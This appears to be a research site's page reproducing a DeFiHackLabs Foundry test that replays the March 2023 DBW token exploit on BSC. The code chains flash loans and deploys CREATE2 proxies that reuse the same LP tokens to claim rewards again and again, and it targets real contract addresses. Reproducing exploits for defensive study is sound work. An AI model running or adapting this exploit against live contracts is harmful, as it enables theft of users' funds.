Public reproduction file
src/test/2023-03/DBW_exp.sol
Public reproduction file for dataset entry - DBW.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/16396551342329692169// https://twitter.com/AnciliaInc/status/163928968693721088010// @TX11// https://bscscan.com/tx/0x3b472f87431a52082bae7d8524b4e0af3cf930a105646259e1249f221852560712// @Summary13// The root cause is that the dividend awards are based on the percentage of LP currently owned by the user,14// and does not take into account multiple dividends after the transfer of LP.15// @Similar events16// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20230103---gds---business-logic-flaw17// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20221001-rl-token---incorrect-reward-calculation19interface IDBW is IERC20 {20 function pledge_lp(21 uint256 count22 ) external;23 function getStaticIncome() external;24 function redemption_lp(25 uint256 count26 ) external;27}29contract ContractTest is Test {30 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);31 IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);32 Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);33 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);34 address dodo1 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;35 address dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;36 address dodo3 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;37 address dodo4 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;38 Uni_Pair_V2 flashSwapPair = Uni_Pair_V2(0x618f9Eb0E1a698409621f4F487B563529f003643);39 uint256 dodo1FlashLoanAmount;40 uint256 dodo2FlashLoanAmount;41 uint256 dodo3FlashLoanAmount;42 uint256 dodo4FlashLoanAmount;43 uint256 PairFlashLoanAmount;44 claimRewardImpl RewardImpl;46 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);48 function setUp() public {49 cheats.createSelectFork("bsc", 26_745_691);50 cheats.label(address(USDT), "USDT");51 cheats.label(address(DBW), "DBW");52 cheats.label(address(Pair), "Pair");53 cheats.label(address(Router), "Router");54 cheats.label(address(dodo1), "dodo1");55 cheats.label(address(dodo2), "dodo2");56 cheats.label(address(dodo3), "dodo3");57 cheats.label(address(dodo4), "dodo4");58 cheats.label(address(flashSwapPair), "flashSwapPair");59 }61 function testExploit() external {62 RewardImpl = new claimRewardImpl();63 dodo1FlashLoanAmount = USDT.balanceOf(dodo1);64 DVM(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));66 emit log_named_decimal_uint(67 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()68 );69 }71 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {72 if (msg.sender == dodo1) {73 dodo2FlashLoanAmount = USDT.balanceOf(dodo2);74 DVM(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));75 USDT.transfer(dodo1, dodo1FlashLoanAmount);76 } else if (msg.sender == dodo2) {77 dodo3FlashLoanAmount = USDT.balanceOf(dodo3);78 DVM(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));79 USDT.transfer(dodo2, dodo2FlashLoanAmount);80 } else if (msg.sender == dodo3) {81 dodo4FlashLoanAmount = USDT.balanceOf(dodo4);82 DVM(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));83 USDT.transfer(dodo3, dodo3FlashLoanAmount);84 } else if (msg.sender == dodo4) {85 PairFlashLoanAmount = 3_037_214_233_168_643_025_678_873;86 flashSwapPair.swap(PairFlashLoanAmount, 0, address(this), new bytes(1));87 USDT.transfer(dodo4, dodo4FlashLoanAmount);88 }89 }91 function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {92 USDT.approve(address(Router), type(uint256).max);93 DBW.approve(address(Router), type(uint256).max);94 Pair.approve(address(Router), type(uint256).max);95 USDTToDBW_AddLiquidity();96 miniProxyCloneFactory(address(RewardImpl));97 RemoveLiquidity_DBWToUSDT();98 USDT.transfer(address(flashSwapPair), PairFlashLoanAmount * 10_000 / 9999 + 1000);99 }101 function USDTToDBW_AddLiquidity() internal {102 address[] memory path = new address[](2);103 path[0] = address(USDT);104 path[1] = address(DBW);105 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(106 800_000 * 1e18, 0, path, address(this), block.timestamp107 );108 Router.addLiquidity(109 address(USDT),110 address(DBW),111 USDT.balanceOf(address(this)),112 DBW.balanceOf(address(this)),113 0,114 0,115 address(this),116 block.timestamp117 );118 }120 function miniProxyCloneFactory(121 address impl122 ) internal {123 for (uint256 i; i < 18; ++i) {124 uint256 _salt = uint256(keccak256(abi.encodePacked(i)));125 bytes memory creationBytecode = getCreationBytecode(address(impl));126 address newImpl = getAddress(creationBytecode, _salt);127 Pair.transfer(newImpl, Pair.balanceOf(address(this)));128 // new miniProxy{salt: keccak256("salt")}(impl);129 deploy(creationBytecode, _salt);130 (uint256 USDTReserve, uint256 DBWReserve,) = Pair.getReserves();131 uint256 DBWInPairAmount = DBW.balanceOf(address(Pair));132 uint256 USDTTransferAmount = DBWInPairAmount * USDTReserve / DBWReserve - USDTReserve;133 USDT.transfer(address(Pair), USDTTransferAmount);134 Pair.mint(address(this));135 }136 }138 function RemoveLiquidity_DBWToUSDT() internal {139 Router.removeLiquidity(140 address(USDT), address(DBW), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp141 );142 address[] memory path = new address[](2);143 path[0] = address(DBW);144 path[1] = address(USDT);145 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(146 DBW.balanceOf(address(this)), 0, path, address(this), block.timestamp147 );148 }150 function getCreationBytecode(151 address claimImpl152 ) public pure returns (bytes memory) {153 bytes memory bytecode = type(miniProxy).creationCode;154 return abi.encodePacked(bytecode, abi.encode(claimImpl));155 }157 function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {158 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));159 return address(uint160(uint256(hash)));160 }162 function deploy(bytes memory bytecode, uint256 _salt) internal {163 address addr;164 assembly {165 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)166 }167 }168}170contract claimRewardImpl is Test {171 function exploit() public {172 IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);173 Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);174 Pair.approve(address(DBW), type(uint256).max);175 DBW.getStaticIncome();176 vm.warp(block.timestamp + 2 * 24 * 60 * 60); // bypass locktime Limit177 uint256 LPAmount = Pair.balanceOf(address(this));178 DBW.pledge_lp(LPAmount); // send LP179 DBW.getStaticIncome(); // claim reward180 DBW.redemption_lp(LPAmount); // redeem LP181 Pair.transfer(msg.sender, LPAmount);182 DBW.transfer(address(Pair), DBW.balanceOf(address(this)));183 }184}186contract miniProxy {187 constructor(188 address claimRewardImpl189 ) {190 (bool success,) = claimRewardImpl.delegatecall(abi.encodeWithSignature("exploit()"));191 require(success);192 selfdestruct(payable(tx.origin));193 }194}Analysis
Dataset entry
Public Foundry test for “- DBW” (2023-03-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
8 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
- src/test/2023-03/DKP_exp.solSame month in the dataset · 93 lines
- src/test/2023-03/Euler_exp.solSame month in the dataset · 148 lines
- src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
- src/test/2023-03/Phoenix_exp.solSame month in the dataset · 123 lines
- src/test/2023-03/poolz_exp.solSame month in the dataset · 364 lines
- src/test/2023-03/safeMoon_exp.solSame month in the dataset · 168 lines
- src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- DBW
- Path
- src/test/2023-03/DBW_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9068afcbb4a81a4e16968222fe96e510bbec74f7
- Language
- Solidity
- Size
- 195 lines
- Date
- 2023-03-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-03/DBW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9068afcbb4a81a4e16968222fe96e510bbec74f7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.